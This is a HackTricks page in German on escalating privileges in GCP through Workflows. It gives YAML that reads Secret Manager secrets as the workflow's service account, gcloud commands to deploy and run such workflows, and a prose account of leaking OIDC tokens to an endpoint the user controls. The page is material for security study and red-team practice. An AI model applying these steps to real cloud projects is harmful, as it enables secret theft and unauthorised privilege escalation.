GCP - Workflows Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Workflows

Grundlegende Informationen:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Soweit ich weiß ist es nicht möglich, eine shell zu erhalten, die Zugriff auf den Metadata-Endpunkt hat, der die SA-Anmeldeinformationen der an einen Workflow gebundenen SA enthält. Es ist jedoch möglich, die Berechtigungen der SA zu missbrauchen, indem man die auszuführenden Aktionen in den Workflow aufnimmt.

Es ist möglich, die Dokumentation der Connectoren zu finden. Zum Beispiel ist dies die page of the Secretmanager connector. In der Seitenleiste findet man mehrere weitere Connectoren.

Und hier findet man ein Beispiel für einen Connector, der ein secret ausgibt:

Workflow YAML-Konfiguration zum Zugriff auf secrets ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Aktualisierung über die CLI:

Workflows über die CLI bereitstellen und ausführen ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Wenn du einen Fehler wie `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` erhältst, warte einfach **eine Minute und versuche es erneut**.

Wenn du keinen Webzugang hast, ist es möglich, die Ausführung eines Workflows auszulösen und zu sehen mit:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Sie können auch die Ausgaben vorheriger Ausführungen prüfen, um nach sensiblen Informationen zu suchen

Beachte, dass selbst wenn du einen Fehler wie PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... erhältst, weil du diese Berechtigung nicht hast, der Workflow trotzdem erstellt wurde.

Leak OIDC token (and OAuth?)

According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.

Caution

Daher ist es möglich, das OIDC-Token zu leak, indem ein vom Nutzer kontrollierter HTTP-Endpunkt angegeben wird, aber um das OAuth-Token zu leak, bräuchte man einen Bypass für diesen Schutz. Du kannst jedoch weiterhin jede GCP api kontaktieren, um Aktionen im Namen des SA auszuführen, entweder über connectors oder HTTP-Anfragen mit dem OAuth-Token.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Workflow-HTTP-Anfrage mit OIDC-Token ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Mit dieser Berechtigung statt workflows.workflows.create ist es möglich, einen bereits bestehenden Workflow zu aktualisieren und dieselben Angriffe durchzuführen.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks